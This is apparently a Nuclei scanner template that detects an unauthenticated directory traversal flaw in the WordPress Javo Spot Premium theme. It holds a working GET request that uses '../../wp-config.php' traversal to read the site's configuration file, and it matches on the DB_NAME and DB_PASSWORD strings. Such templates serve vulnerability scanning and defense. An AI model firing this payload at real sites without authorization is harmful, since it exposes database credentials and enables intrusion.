id: wp-spot-premium-lfi

info:
  name: WordPress Javo Spot Premium Theme - Unauthenticated Directory Traversal
  author: dhiyaneshDk
  severity: high
  description: WordPress Javo Spot Premium Theme `wp-config` was discovered via local file inclusion. This file is remotely accessible and its content available for reading.
  reference:
    - https://wpscan.com/vulnerability/2d465fc4-d4fa-43bb-9c0d-71dcc3ee4eab
    - https://codeseekah.com/2017/02/09/javo-themes-spot-lfi-vulnerability/
  metadata:
    max-request: 1
  tags: wordpress,backup,wpscan,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?jvfrm_spot_get_json&fn=../../wp-config.php&callback=jQuery'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f5af523c9d88f8ee4de2137aad9e3117843fc73ab8e00671c34c6f8bdabd2eaa022071aa91dac8d895657615d55a06f5bb966c8299bb1946a76b2e2f74671ffa9697:922c64590222798bb761d5b6d8e72950